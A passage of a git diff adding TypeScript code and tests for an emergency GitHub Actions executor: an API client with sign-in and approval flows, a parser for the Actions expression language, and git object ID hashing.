stream (security review H3). */ + stream?: { ok: boolean; events: number; complete: boolean; legacy?: boolean; problem?: string }; + /** The runner container's exit code, from Kubernetes. */ + exitCode?: number; + outputs: Record; + durationMs?: number; + reason?: string; +}; + +export function summarize(events: RunnerEvent[]): ExecutionView { + const v: ExecutionView = { status: "pending", network: [], jobs: [], logs: [], annotations: [], outputs: {} }; + const job = (key: string) => v.jobs.find((j) => j.job === key); + for (const e of events) { + switch (e.type) { + case "execution-start": + v.status = "running"; + v.digest = e.digest; + v.workflow = e.workflow; + v.source = e.source; + break; + case "verify": + v.verified = { ok: e.ok, files: e.files, problems: e.problems }; + break; + case "network": + v.network.push({ host: e.host, reachable: e.reachable, detail: e.detail }); + break; + case "job-start": + v.jobs.push({ job: e.job, name: e.name, workflow: e.workflow, needs: e.needs, status: "running", outputs: {}, steps: [], order: v.jobs.length }); + break; + case "job-end": { + const j = job(e.job) ?? (v.jobs.push({ job: e.job, name: e.job, workflow: "", needs: [], status: "running", outputs: {}, steps: [], order: v.jobs.length }), job(e.job)!); + j.status = e.result; + j.outputs = e.outputs; + j.reason = e.reason; + break; + } + case "step-start": + job(e.job)?.steps.push({ step: e.step, name: e.name, kind: e.kind, detail: e.detail, status: "running", exitCode: null, outputs: {}, logs: [] }); + break; + case "step-end": { + const s = job(e.job)?.steps.find((x) => x.step === e.step); + if (s) Object.assign(s, { status: e.conclusion, exitCode: e.exitCode, durationMs: e.durationMs, outputs: e.outputs, reason: e.reason }); + break; + } + case "log": { + v.logs.push({ stream: e.stream, text: e.text, job: e.job, step: e.step }); + if (e.job !== undefined && e.step !== undefined) job(e.job)?.steps.find((x) => x.step === e.step)?.logs.push(v.logs.length - 1); + break; + } + case "annotation": + v.annotations.push({ level: e.level, message: e.message, job: e.job, step: e.step, source: e.source }); + break; + case "execution-end": + v.status = e.result; + v.durationMs = e.durationMs; + v.outputs = e.outputs; + v.reason = e.reason; + break; + } + } + return v; +} diff --git a/src/emergency/executor-client.ts b/src/emergency/executor-client.ts new file mode 100644 index 0000000..aee64b5 --- /dev/null +++ b/src/emergency/executor-client.ts @@ -0,0 +1,148 @@ +// The browser's client for the emergency executor API (deploy/emergency/executor/api.ts), at "api/emergency/" +// relative to the page, i.e. the same origin and path prefix the UI is served from. The GitHub token is never sent +// here: snapshot preparation reads GitHub in the browser and uploads only the packaged files. +// +// Security review H2: the user signs in with the organization's identity provider through the executor (a full-page +// redirect to auth/login), or with a break-glass account. The session is an HttpOnly cookie this code can't read; it +// is sent only to this same-origin API, with the X-GHA-Emergency header the executor requires of every API call. Roles +// and permissions shown here come from the executor and only shape the UI: the executor checks every request. +import type { ExecutionView } from "./events.ts"; +import type { Diagnostic } from "./model.ts"; +import type { Actor, Manifest, SnapshotBundle, SnapshotRecord, Visibility } from "./snapshot.ts"; + +export type ExecutionMeta = { + id: string; + snapshotId: string; + snapshotName: string; + snapshotVersion: number; + workflow: string; + inputs: Record; + variables: Record; + /** The Secret its snapshot's binding names, and the only keys mounted. */ + secretName?: string; + secretKeys?: string[]; + /** "github-blocked" only in records made before the security review's C2 remediation. */ + network: "isolated" | "egress" | "github-blocked"; + isolation?: { state: string; checkedAt?: string; reason?: string }; + createdAt: string; + jobName: string; + /** Security review H2: absent on executions from before it. */ + preparedBy?: Actor | null; + initiatedBy?: Actor; + visibility?: Visibility; + state?: "awaiting-approval" | "approved" | "rejected" | "cancelled" | "invalidated" | "started"; + approval?: { reasons: string[]; requestDigest: string; expiresAt: string; decidedBy?: Actor; decidedAt?: string; decision?: "approved" | "rejected"; comment?: string }; + decisions?: { at: string; by: Actor; decision: string; reason: string }[]; +}; +export type Role = "viewer" | "operator" | "approver" | "administrator"; +export type SessionView = { + user: { id: string; name: string; email?: string; kind: "oidc" | "break-glass"; issuer?: string; subject?: string }; + roles: Role[]; + permissions: string[]; + session: { method: "oidc" | "break-glass"; createdAt: string; expiresAt: string }; +}; +export type SignInOptions = { oidc: { label: string } | null; breakGlass: boolean }; +export type UserView = { id: string; kind: string; name: string; email?: string; issuer?: string; subject?: string; account?: string; roles: Role[]; effectiveRoles: Role[]; pinnedRoles: Role[]; disabled?: boolean; lastSeen: string; sessions: number }; +export type BindingView = { name: string; secret: string; keys: string[]; snapshots: string[]; suspension: { suspended: boolean; by: Actor; at: string; reason: string } | null }; +export type AuditEntryView = { at: string; action: string; by?: Actor | null; [k: string]: unknown }; +export type NetworkMode = "isolated" | "egress"; +export type ProbeResult = { name: string; host: string; port: number; reachable: boolean; detail: string }; +export type NetworkCheckView = { + state: "enforced" | "not-enforced" | "unverified" | "never" | "checking"; + checkedAt?: string; + reason?: string; + isolated: ProbeResult[]; + control: ProbeResult[]; + egress?: { state: string; reason?: string; results: ProbeResult[] }; + allowEgress: boolean; +}; +export type SecretBindingView = { name: string; secret: string; keys: string[] }; +export type JobState = { state: "pending" | "running" | "succeeded" | "failed" | "missing"; reason?: string }; +export type ExecutionDetail = { meta: ExecutionMeta; job: JobState; view: ExecutionView }; +export type ExecutionSummary = { meta: ExecutionMeta; job: JobState; status: ExecutionView["status"]; reason?: string }; + +export class ExecutorError extends Error { + readonly status: number; + readonly details: unknown; + constructor(status: number, message: string, details?: unknown) { + super(message); + this.status = status; + this.details = details; + } +} + +const base = () => new URL("api/emergency/", document.baseURI).toString(); + +/** Where the sign-in button goes: the executor redirects to the identity provider and back to this page. */ +export const signInUrl = (returnTo: string) => `${base()}auth/login?${new URLSearchParams({ return: returnTo })}`; + +async function call(method: string, path: string, body?: unknown): Promise { + const headers: Record = { Accept: "application/json", "X-GHA-Emergency": "1" }; + if (body !== undefined) headers["Content-Type"] = "application/json"; + let response: Response; + try { + response = await fetch(base() + path, { method, headers, body: body === undefined ? undefined : JSON.stringify(body), credentials: "same-origin", cache: "no-store" }); + } catch { + throw new ExecutorError(0, "The emergency executor could not be reached"); + } + let data: unknown; + try { + data = await response.json(); + } catch { + data = null; + } + if (!response.ok) { + const d = data as { error?: string; details?: unknown } | null; + throw new ExecutorError(response.status, d?.error ?? `Executor returned ${response.status}`, d?.details); + } + return data as T; +} + +export const executor = { + /** Whether this deployment has an executor, and how to sign in to it (no session needed). */ + async available(): Promise { + try { + const r = await fetch(base() + "health", { cache: "no-store", credentials: "omit" }); + if (!r.ok) return null; + const h = (await r.json()) as { available?: boolean; signIn?: SignInOptions }; + return h.available === true ? (h.signIn ?? { oidc: null, breakGlass: false }) : null; + } catch { + return null; + } + }, + /** The signed-in user, or null when there is no valid session. */ + async session(): Promise { + try { + return await call("GET", "auth/session"); + } catch (e) { + if (e instanceof ExecutorError && e.status === 401) return null; + throw e; + } + }, + signOut: () => call<{ signedOut: boolean }>("POST", "auth/logout", {}), + breakGlass: (account: string, credential: string, reason: string) => call<{ signedIn: boolean; expiresAt: string }>("POST", "auth/break-glass", { account, credential, reason }), + listSnapshots: () => call<{ snapshots: SnapshotRecord[] }>("GET", "snapshots").then((r) => r.snapshots), + uploadSnapshot: (bundle: SnapshotBundle, visibility: Visibility = "shared") => call<{ snapshot: SnapshotRecord; created: boolean }>("POST", "snapshots", { ...bundle, visibility }), + getSnapshot: (id: string) => + call<{ record: SnapshotRecord; manifest: Manifest; secretBinding: SecretBindingView | null; secretBindingProblem: string | null; allowEgress: boolean; approvalPolicy?: { requireFor: string[]; separationOfDuties: boolean; ttlMinutes: number } }>("GET", `snapshots/${id}`), + getNetworkCheck: () => call("GET", "network-check"), + runNetworkCheck: () => call("POST", "network-check", {}), + verifySnapshot: (id: string) => call<{ ok: boolean; problems: Diagnostic[] }>("POST", `snapshots/${id}/verify`, {}), + deleteSnapshot: (id: string) => call<{ deleted: string }>("DELETE", `snapshots/${id}`), + listExecutions: () => call<{ executions: ExecutionSummary[] }>("GET", "executions").then((r) => r.executions), + startExecution: (request: { snapshotId: string; workflow: string; inputs: Record; variables: Record; network: NetworkMode }) => + call<{ execution: ExecutionMeta }>("POST", "executions", request).then((r) => r.execution), + getExecution: (id: string) => call("GET", `executions/${id}`), + stopExecution: (id: string) => call<{ stopped: string }>("DELETE", `executions/${id}`), + decide: (id: string, decision: "approve" | "reject", requestDigest: string, comment: string) => + call<{ execution: ExecutionMeta; startProblem?: { error: string; details?: unknown } }>("POST", `executions/${id}/approve`, { decision, requestDigest, comment }), + startApproved: (id: string) => call<{ execution: ExecutionMeta }>("POST", `executions/${id}/start`, {}), + // Administration (administrators only; the executor refuses everyone else). + listUsers: () => call<{ users: UserView[]; roles: Role[] }>("GET", "admin/users"), + setRoles: (id: string, roles: Role[]) => call<{ user: UserView }>("PUT", `admin/users/${id}/roles`, { roles }), + setDisabled: (id: string, disabled: boolean) => call<{ user: UserView }>("POST", `admin/users/${id}/${disabled ? "disable" : "enable"}`, {}), + revokeSessions: (id: string) => call<{ revoked: number }>("POST", `admin/users/${id}/revoke-sessions`, {}), + listBindings: () => call<{ bindings: BindingView[]; problems: string[] }>("GET", "admin/bindings"), + setBindingSuspended: (name: string, suspended: boolean, reason: string) => call<{ binding: string; suspended: boolean }>("PUT", `admin/bindings/${encodeURIComponent(name)}`, { suspended, reason }), + audit: () => call<{ entries: AuditEntryView[] }>("GET", "admin/audit").then((r) => r.entries), +}; diff --git a/src/emergency/expressions.test.ts b/src/emergency/expressions.test.ts new file mode 100644 index 0000000..b4313c4 --- /dev/null +++ b/src/emergency/expressions.test.ts @@ -0,0 +1,59 @@ +import { describe, expect, it } from "vitest"; +import { analyse, evaluate, ExpressionError, interpolate, interpolateString, parseCondition, parseExpression } from "./expressions.ts"; + +const ctx = (contexts: Record, status?: "success" | "failure" | "cancelled") => ({ contexts, status }); +const run = (src: string, contexts: Record = {}) => evaluate(parseExpression(src), ctx(contexts)); + +describe("expressions", () => { + it("reads contexts, properties and indexes case-insensitively, missing values as null", () => { + const c = { inputs: { Version: "1.2" }, steps: { meta: { outputs: { version: "2" } } }, needs: {} }; + expect(run("inputs.version", c)).toBe("1.2"); + expect(run("steps.meta.outputs['version']", c)).toBe("2"); + expect(run("needs.build.outputs.x", c)).toBeNull(); + }); + + it("follows GitHub's loose comparison and && / || value semantics", () => { + expect(run("'ABC' == 'abc'")).toBe(true); + expect(run("1 == '1'")).toBe(true); + expect(run("null == 0")).toBe(true); + expect(run("'' || 'fallback'")).toBe("fallback"); + expect(run("'a' && 'b'")).toBe("b"); + expect(run("!(1 < 2)")).toBe(false); + }); + + it("implements the supported functions", () => { + expect(run("contains('Hello', 'ell')")).toBe(true); + expect(run("contains(fromJSON('[\"a\",\"b\"]'), 'B')")).toBe(true); + expect(run("startsWith('refs/tags/v1', 'refs/tags/')")).toBe(true); + expect(run("format('{0}-{1} {{x}}', 'a', 2)")).toBe("a-2 {x}"); + expect(run("join(fromJSON('[1,2]'), '+')")).toBe("1+2"); + }); + + it("evaluates if: conditions with an implicit success() unless a status function is used", () => { + expect(evaluate(parseCondition("inputs.go == 'yes'"), ctx({ inputs: { go: "yes" } }, "failure"))).toBe(false); + expect(evaluate(parseCondition("${{ always() }}"), ctx({}, "failure"))).toBe(true); + expect(evaluate(parseCondition("failure()"), ctx({}, "failure"))).toBe(true); + expect(evaluate(parseCondition(undefined), ctx({}, "success"))).toBe(true); + }); + + it("interpolates templates, keeping the type of a whole-string expression", () => { + const c = ctx({ inputs: { n: 3, v: "1.0" } }); + expect(interpolate("${{ inputs.n }}", c)).toBe(3); + expect(interpolateString("v=${{ inputs.v }} n=${{ inputs.n }}", c)).toBe("v=1.0 n=3"); + }); + + it("refuses unsupported syntax instead of guessing", () => { + expect(() => parseExpression("github.event.commits.*.message")).toThrow(ExpressionError); + expect(() => run("hashFiles('**/x')")).toThrow(/not supported/); + expect(() => parseExpression("a ? b : c")).toThrow(ExpressionError); + }); + + it("reports the context paths, functions and dynamic lookups an expression uses", () => { + expect(analyse(parseExpression("secrets.TOKEN != '' && contains(github.ref, 'main')"))).toEqual({ + references: ["secrets.TOKEN", "github.ref"], + functions: ["contains"], + dynamicContexts: [], + }); + expect(analyse(parseExpression("secrets[inputs.name]")).dynamicContexts).toEqual(["secrets"]); + }); +}); diff --git a/src/emergency/expressions.ts b/src/emergency/expressions.ts new file mode 100644 index 0000000..c5e3ee4 --- /dev/null +++ b/src/emergency/expressions.ts @@ -0,0 +1,409 @@ +// A subset of the GitHub Actions expression language (`${{ … }}`), shared by snapshot validation (browser), the +// executor and the emergency runner. Pure: no imports from ui, github or Node. +// +// Supported: literals (null, booleans, numbers, 'strings'), context property access (a.b, a['b']), ! == != < <= > >= +// && || and parentheses, and the functions listed in FUNCTIONS. Anything else (object filters `*`, hashFiles, …) +// is a parse or analysis error, so validation can refuse it before an emergency rather than evaluate it wrongly. + +export type Expr = + | { kind: "lit"; value: unknown } + | { kind: "ctx"; name: string } + | { kind: "prop"; object: Expr; name: string } + | { kind: "index"; object: Expr; index: Expr } + | { kind: "call"; name: string; args: Expr[] } + | { kind: "not"; operand: Expr } + | { kind: "bin"; op: string; left: Expr; right: Expr }; + +export class ExpressionError extends Error {} + +/** Functions the runner implements. Status functions are only meaningful in `if:`. */ +export const FUNCTIONS = new Set(["contains", "startswith", "endswith", "format", "join", "tojson", "fromjson", "success", "failure", "always", "cancelled"]); +export const STATUS_FUNCTIONS = new Set(["success", "failure", "always", "cancelled"]); + +type Token = { t: "num" | "str" | "id" | "op"; v: string }; + +function tokenize(src: string): Token[] { + const out: Token[] = []; + let i = 0; + while (i < src.length) { + const c = src[i]!; + if (/\s/.test(c)) { + i++; + continue; + } + if (c === "'") { + let s = ""; + i++; + for (;;) { + if (i >= src.length) throw new ExpressionError("Unterminated string"); + if (src[i] === "'") { + if (src[i + 1] === "'") { + s += "'"; + i += 2; + continue; + } + i++; + break; + } + s += src[i++]; + } + out.push({ t: "str", v: s }); + continue; + } + const two = src.slice(i, i + 2); + if (["==", "!=", "<=", ">=", "&&", "||"].includes(two)) { + out.push({ t: "op", v: two }); + i += 2; + continue; + } + if ("!<>()[].,".includes(c)) { + out.push({ t: "op", v: c }); + i++; + continue; + } + const num = /^(?:0x[0-9a-fA-F]+|-?\d+(?:\.\d+)?(?:[eE][+-]?\d+)?)/.exec(src.slice(i)); + if (num && (c !== "-" || /\d/.test(src[i + 1] ?? ""))) { + out.push({ t: "num", v: num[0] }); + i += num[0].length; + continue; + } + const id = /^[A-Za-z_][A-Za-z0-9_-]*/.exec(src.slice(i)); + if (id) { + out.push({ t: "id", v: id[0] }); + i += id[0].length; + continue; + } + throw new ExpressionError(`Unsupported character ${JSON.stringify(c)}`); + } + return out; +} + +/** Parses one expression (without the `${{ }}` delimiters). */ +export function parseExpression(src: string): Expr { + const tokens = tokenize(src); + let p = 0; + const peek = () => tokens[p]; + const isOp = (v: string) => peek()?.t === "op" && peek()!.v === v; + const expect = (v: string) => { + if (!isOp(v)) throw new ExpressionError(`Expected ${JSON.stringify(v)}`); + p++; + }; + + const primary = (): Expr => { + const tok = tokens[p++]; + if (!tok) throw new ExpressionError("Unexpected end of expression"); + if (tok.t === "num") return { kind: "lit", value: Number(tok.v) }; + if (tok.t === "str") return { kind: "lit", value: tok.v }; + if (tok.t === "op" && tok.v === "(") { + const e = or(); + expect(")"); + return e; + } + if (tok.t === "op" && tok.v === "!") return { kind: "not", operand: unary() }; + if (tok.t !== "id") throw new ExpressionError(`Unexpected ${JSON.stringify(tok.v)}`); + const lower = tok.v.toLowerCase(); + if (lower === "true" || lower === "false") return { kind: "lit", value: lower === "true" }; + if (lower === "null") return { kind: "lit", value: null }; + if (isOp("(")) { + p++; + const args: Expr[] = []; + if (!isOp(")")) { + for (;;) { + args.push(or()); + if (isOp(",")) { + p++; + continue; + } + break; + } + } + expect(")"); + return { kind: "call", name: lower, args }; + } + return { kind: "ctx", name: lower }; + }; + + const postfix = (): Expr => { + let e = primary(); + for (;;) { + if (isOp(".")) { + p++; + const tok = tokens[p++]; + if (!tok || tok.t !== "id") { + if (tok?.t === "op" && tok.v === "*") throw new ExpressionError("Object filters (.*) are not supported"); + throw new ExpressionError("Expected a property name after '.'"); + } + e = { kind: "prop", object: e, name: tok.v }; + } else if (isOp("[")) { + p++; + if (peek()?.t === "op" && peek()!.v === "*") throw new ExpressionError("Object filters ([*]) are not supported"); + const index = or(); + expect("]"); + e = { kind: "index", object: e, index }; + } else return e; + } + }; + const unary = (): Expr => { + if (isOp("!")) { + p++; + return { kind: "not", operand: unary() }; + } + return postfix(); + }; + const binary = (next: () => Expr, ops: string[]) => (): Expr => { + let left = next(); + while (peek()?.t === "op" && ops.includes(peek()!.v)) { + const op = tokens[p++]!.v; + left = { kind: "bin", op, left, right: next() }; + } + return left; + }; + const comparison = binary(unary, ["<", "<=", ">", ">="]); + const equality = binary(comparison, ["==", "!="]); + const and = binary(equality, ["&&"]); + const or: () => Expr = binary(and, ["||"]); + + const result = or(); + if (p !== tokens.length) throw new ExpressionError(`Unexpected ${JSON.stringify(tokens[p]!.v)}`); + return result; +} + +// ---- evaluation -------------------------------------------------------------------------------------------------- + +/** The status `if:` sees. "skipped": a needed job was skipped, so success(), failure() and cancelled() are all false. */ +export type JobStatus = "success" | "failure" | "cancelled" | "skipped"; +export type EvalContext = { contexts: Record; status?: JobStatus }; + +export function truthy(v: unknown): boolean { + return !(v === false || v === null || v === undefined || v === 0 || v === "" || (typeof v === "number" && Number.isNaN(v))); +} + +function toNumber(v: unknown): number { + if (v === null || v === undefined) return 0; + if (typeof v === "boolean") return v ? 1 : 0; + if (typeof v === "number") return v; + if (typeof v === "string") return v.trim() === "" ? 0 : Number(v); + return Number.NaN; +} + +/** GitHub's loose equality: strings compare case-insensitively; mixed types are compared as numbers. */ +function looseEquals(a: unknown, b: unknown): boolean { + if (typeof a === "string" && typeof b === "string") return a.toLowerCase() === b.toLowerCase(); + if ((a === null || a === undefined) && (b === null || b === undefined)) return true; + if (typeof a === "object" && a !== null) return a === b; + if (typeof b === "object" && b !== null) return false; + return toNumber(a) === toNumber(b); +} + +/** The string form GitHub uses when an expression is interpolated into text. */ +export function stringify(v: unknown): string { + if (v === null || v === undefined) return ""; + if (typeof v === "string") return v; + if (typeof v === "boolean" || typeof v === "number") return String(v); + return JSON.stringify(v, null, 2); +} + +function lookup(object: unknown, name: string): unknown { + if (object === null || typeof object !== "object") return null; + if (Array.isArray(object)) { + const i = Number(name); + return Number.isInteger(i) ? (object[i] ?? null) : null; + } + const rec = object as Record; + if (Object.prototype.hasOwnProperty.call(rec, name)) return rec[name] ?? null; + const key = Object.keys(rec).find((k) => k.toLowerCase() === name.toLowerCase()); + return key === undefined ? null : (rec[key] ?? null); +} + +export function evaluate(e: Expr, ctx: EvalContext): unknown { + switch (e.kind) { + case "lit": + return e.value; + case "ctx": + return lookup(ctx.contexts, e.name); + case "prop": + return lookup(evaluate(e.object, ctx), e.name); + case "index": + return lookup(evaluate(e.object, ctx), stringify(evaluate(e.index, ctx))); + case "not": + return !truthy(evaluate(e.operand, ctx)); + case "bin": { + if (e.op === "&&") { + const l = evaluate(e.left, ctx); + return truthy(l) ? evaluate(e.right, ctx) : l; + } + if (e.op === "||") { + const l = evaluate(e.left, ctx); + return truthy(l) ? l : evaluate(e.right, ctx); + } + const l = evaluate(e.left, ctx); + const r = evaluate(e.right, ctx); + if (e.op === "==") return looseEquals(l, r); + if (e.op === "!=") return !looseEquals(l, r); + const [a, b] = typeof l === "string" && typeof r === "string" ? [l.toLowerCase(), r.toLowerCase()] : [toNumber(l), toNumber(r)]; + if (e.op === "<") return a < b; + if (e.op === "<=") return a <= b; + if (e.op === ">") return a > b; + return a >= b; + } + case "call": + return call(e.name, e.args, ctx); + } +} + +function call(name: string, args: Expr[], ctx: EvalContext): unknown { + const v = () => args.map((a) => evaluate(a, ctx)); + const status = ctx.status ?? "success"; + switch (name) { + case "success": + return status === "success"; + case "failure": + return status === "failure"; + case "cancelled": + return status === "cancelled"; + case "always": + return true; + case "contains": { + const [hay, needle] = v(); + if (Array.isArray(hay)) return hay.some((x) => looseEquals(x, needle)); + return stringify(hay).toLowerCase().includes(stringify(needle).toLowerCase()); + } + case "startswith": { + const [s, p] = v(); + return stringify(s).toLowerCase().startsWith(stringify(p).toLowerCase()); + } + case "endswith": { + const [s, p] = v(); + return stringify(s).toLowerCase().endsWith(stringify(p).toLowerCase()); + } + case "format": { + const [fmt, ...rest] = v(); + return stringify(fmt).replace(/\{\{|\}\}|\{(\d+)\}/g, (m, i: string | undefined) => (m === "{{" ? "{" : m === "}}" ? "}" : stringify(rest[Number(i)]))); + } + case "join": { + const [arr, sep] = v(); + return Array.isArray(arr) ? arr.map(stringify).join(sep === undefined || sep === null ? "," : stringify(sep)) : stringify(arr); + } + case "tojson": + return JSON.stringify(v()[0] ?? null, null, 2); + case "fromjson": + return JSON.parse(stringify(v()[0])); + default: + throw new ExpressionError(`Function ${name}() is not supported`); + } +} + +// ---- templates and analysis -------------------------------------------------------------------------------------- + +const TEMPLATE = /\$\{\{([\s\S]*?)\}\}/g; + +/** The `${{ }}` segments of a string, in order. */ +export function templateExpressions(text: string): string[] { + return [...text.matchAll(TEMPLATE)].map((m) => m[1]!.trim()); +} + +/** Replaces every `${{ expr }}` in `text`. A string that is exactly one expression keeps the value's type. */ +export function interpolate(text: string, ctx: EvalContext): unknown { + const whole = /^\s*\$\{\{([\s\S]*?)\}\}\s*$/.exec(text); + if (whole && templateExpressions(text).length === 1) return evaluate(parseExpression(whole[1]!.trim()), ctx); + return text.replace(TEMPLATE, (_m, src: string) => stringify(evaluate(parseExpression(src.trim()), ctx))); +} + +export function interpolateString(text: string, ctx: EvalContext): string { + return stringify(interpolate(text, ctx)); +} + +/** An `if:` value: with or without `${{ }}`; a bare value without a status function implies `success() && (…)`. */ +export function parseCondition(raw: unknown): Expr { + if (raw === undefined || raw === null || raw === "") return { kind: "call", name: "success", args: [] }; + if (typeof raw === "boolean" || typeof raw === "number") return { kind: "lit", value: raw }; + let text = String(raw).trim(); + const whole = /^\$\{\{([\s\S]*)\}\}$/.exec(text); + if (whole && templateExpressions(text).length === 1) text = whole[1]!.trim(); + const e = parseExpression(text); + return usesStatusFunction(e) ? e : { kind: "bin", op: "&&", left: { kind: "call", name: "success", args: [] }, right: e }; +} + +function usesStatusFunction(e: Expr): boolean { + return walk(e).some((n) => n.kind === "call" && STATUS_FUNCTIONS.has(n.name)); +} + +function walk(e: Expr): Expr[] { + switch (e.kind) { + case "lit": + case "ctx": + return [e]; + case "prop": + return [e, ...walk(e.object)]; + case "index": + return [e, ...walk(e.object), ...walk(e.index)]; + case "not": + return [e, ...walk(e.operand)]; + case "bin": + return [e, ...walk(e.left), ...walk(e.right)]; + case "call": + return [e, ...e.args.flatMap(walk)]; + } +} + +/** A dotted path for a chain of property accesses with literal names, e.g. `secrets.TOKEN`; null otherwise. */ +function pathOf(e: Expr): string | null { + if (e.kind === "ctx") return e.name; + if (e.kind === "prop") { + const base = pathOf(e.object); + return base === null ? null : `${base}.${e.name}`; + } + if (e.kind === "index" && e.index.kind === "lit" && typeof e.index.value === "string") { + const base = pathOf(e.object); + return base === null ? null : `${base}.${e.index.value}`; + } + return null; +} + +export type ExpressionUse = { references: string[]; functions: string[]; dynamicContexts: string[] }; + +/** + * What an expression reads: the longest literal context paths (`secrets.TOKEN`, `steps.a.outputs.b`), the + * functions it calls, and contexts it indexes dynamically (`secrets[inputs.name]`), which validation can't resolve. + */ +export function analyse(e: Expr): ExpressionUse { + const references = new Set(); + const dynamicContexts = new Set(); + const functions = new Set(); + const visit = (n: Expr) => { + if (n.kind === "call") { + functions.add(n.name); + n.args.forEach(visit); + return; + } + if (n.kind === "ctx" || n.kind === "prop" || n.kind === "index") { + const path = pathOf(n); + if (path !== null) { + references.add(path); + return; + } + if (n.kind === "index") { + const root = rootOf(n); + if (root) dynamicContexts.add(root); + visit(n.object); + visit(n.index); + return; + } + if (n.kind === "prop") visit(n.object); + return; + } + if (n.kind === "not") visit(n.operand); + if (n.kind === "bin") { + visit(n.left); + visit(n.right); + } + }; + visit(e); + return { references: [...references], functions: [...functions], dynamicContexts: [...dynamicContexts] }; +} + +function rootOf(e: Expr): string | null { + if (e.kind === "ctx") return e.name; + if (e.kind === "prop" || e.kind === "index") return rootOf(e.object); + return null; +} diff --git a/src/emergency/git-objects.test.ts b/src/emergency/git-objects.test.ts new file mode 100644 index 0000000..2417f47 --- /dev/null +++ b/src/emergency/git-objects.test.ts @@ -0,0 +1,58 @@ +import { execFileSync } from "node:child_process"; +import { chmodSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { describe, expect, it } from "vitest"; +import { gitBlobId, gitTreeId } from "./git-objects.ts"; + +const enc = new TextEncoder(); + +/** A tree with the orderings git is particular about: "a" vs "a.b" vs "a/", "a-b", nested dirs, executables, empty file. */ +const FILES: { path: string; content: string; executable?: boolean }[] = [ + { path: "a", content: "file a\n" }, + { path: "a.b", content: "dot\n" }, + { path: "a-b", content: "dash\n" }, + { path: "ab/x.txt", content: "nested\n" }, + { path: "a.d/y", content: "dir with dot\n" }, + { path: "dir/sub/deep.sh", content: "#!/bin/sh\necho hi\n", executable: true }, + { path: "dir/z", content: "" }, + { path: "Upper.txt", content: "case\n" }, +]; + +let hasGit = true; +try { + execFileSync("git", ["--version"], { stdio: "ignore" }); +} catch { + hasGit = false; +} + +describe("git object IDs", () => { + it("blob IDs match git's well-known values", async () => { + expect(await gitBlobId(new Uint8Array())).toBe("e69de29bb2d1d6434b8b29ae775ad8c2e48c5391"); + expect(await gitBlobId(enc.encode("hello\n"))).toBe("ce013625030ba8dba906f756967f9e9ca394464a"); + }); + + it.skipIf(!hasGit)("tree IDs match the git binary, including its directory ordering and executable bits", async () => { + const dir = mkdtempSync(join(tmpdir(), "git-tree-")); + try { + execFileSync("git", ["init", "-q"], { cwd: dir }); + execFileSync("git", ["config", "core.fileMode", "true"], { cwd: dir }); + for (const f of FILES) { + const p = join(dir, ...f.path.split("/")); + mkdirSync(join(p, ".."), { recursive: true }); + writeFileSync(p, f.content); + if (f.executable) chmodSync(p, 0o755); + } + execFileSync("git", ["add", "-A"], { cwd: dir }); + // Windows can't record the executable bit from the filesystem; set it in the index explicitly. + for (const f of FILES.filter((x) => x.executable)) execFileSync("git", ["update-index", "--chmod=+x", f.path], { cwd: dir }); + const expected = execFileSync("git", ["write-tree"], { cwd: dir }).toString().trim(); + const entries = await Promise.all(FILES.map(async (f) => ({ path: f.path, blob: await gitBlobId(enc.encode(f.content)), executable: !!f.executable }))); + expect(await gitTreeId(entries)).toBe(expected); + // One changed byte, or a changed executable bit, changes the tree ID. + expect(await gitTreeId(entries.map((e, i) => (i === 0 ? { ...e, executable: true } : e)))).not.toBe(expected); + } finally { + rmSync(dir, { recursive: true, force: true }); + } + }); +}); diff --git a/src/emergency/git-objects.ts b/src/emergency/git-objects.ts new file mode 100644 index 0000000..ecfa46e --- /dev/null +++ b/src/emergency/git-objects.ts @@ -0,0 +1,64 @@ +// Git object IDs computed from content (security review H1): a file's blob ID and a directory's tree ID, exactly as +// git computes them. They bind packaged content to the Git objects GitHub reported at preparation, so the executor +// and runner can check offline that a snapshot's files are byte-for-byte a given Git tree. Pure: Web Crypto only. + +const enc = new TextEncoder(); + +async function sha1(data: Uint8Array): Promise { + return new Uint8Array(await crypto.subtle.digest("SHA-1", data as BufferSource)); +} +const hex = (b: Uint8Array) => [...b].map((x) => x.toString(16).padStart(2, "0")).join(""); +const unhex = (h: string) => Uint8Array.from(h.match(/../g)!.map((x) => parseInt(x, 16))); +const concat = (parts: Uint8Array[]) => { + const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0)); + let o = 0; + for (const p of parts) { + out.set(p, o); + o += p.length; + } + return out; +}; + +/** git hash-object: sha1("blob \0" + content). */ +export async function gitBlobId(content: Uint8Array): Promise { + return hex(await sha1(concat([enc.encode(`blob ${content.length}\0`), content]))); +} + +export type GitTreeEntry = { path: string; blob: string; executable: boolean }; + +/** + * The tree ID of a set of regular files (modes 100644 and 100755), built bottom-up like git: entries sorted by name, + * where a directory sorts as if its name ended in "/". Symlinks and submodules are not representable here, so a + * tree that has them can't be recomputed (prepare.ts records such roots as incomplete). + */ +export async function gitTreeId(entries: GitTreeEntry[]): Promise { + type Dir = { files: Map; dirs: Map }; + const root: Dir = { files: new Map(), dirs: new Map() }; + for (const e of entries) { + const parts = e.path.split("/"); + let d = root; + for (const p of parts.slice(0, -1)) { + if (!d.dirs.has(p)) d.dirs.set(p, { files: new Map(), dirs: new Map() }); + d = d.dirs.get(p)!; + } + d.files.set(parts.at(-1)!, e); + } + const hashDir = async (d: Dir): Promise => { + const items: { sortKey: string; bytes: Uint8Array }[] = []; + for (const [name, f] of d.files) items.push({ sortKey: name, bytes: concat([enc.encode(`${f.executable ? "100755" : "100644"} ${name}\0`), unhex(f.blob)]) }); + for (const [name, sub] of d.dirs) items.push({ sortKey: `${name}/`, bytes: concat([enc.encode(`40000 ${name}\0`), unhex(await hashDir(sub))]) }); + // git compares raw bytes; UTF-8 byte order equals code-point order, which this comparison follows. + items.sort((a, b) => compareBytes(enc.encode(a.sortKey), enc.encode(b.sortKey))); + const body = concat(items.map((i) => i.bytes)); + return hex(await sha1(concat([enc.encode(`tree ${body.length}\0`), body]))); + }; + return hashDir(root); +} + +function compareBytes(a: Uint8Array, b: Uint8Array): number { + const n = Math.min(a.length, b.length); + for (let i = 0; i < n; i++) if (a[i] !== b[i]) return a[i]! - b[i]!; + return a.length - b.length; +} + +export const GIT_ID = /^[0-9a-f]{40}$/; diff --git a/src/emergency/github-reader.ts b/src/emergency/github-reader.ts new file mode 100644 index 0000000..ea35d79 --- /dev/null +++ b/src/emergency/github-reader.ts @@ -0,0 +1,39 @@ +// Snapshot preparation's view of GitHub: the app's read-only 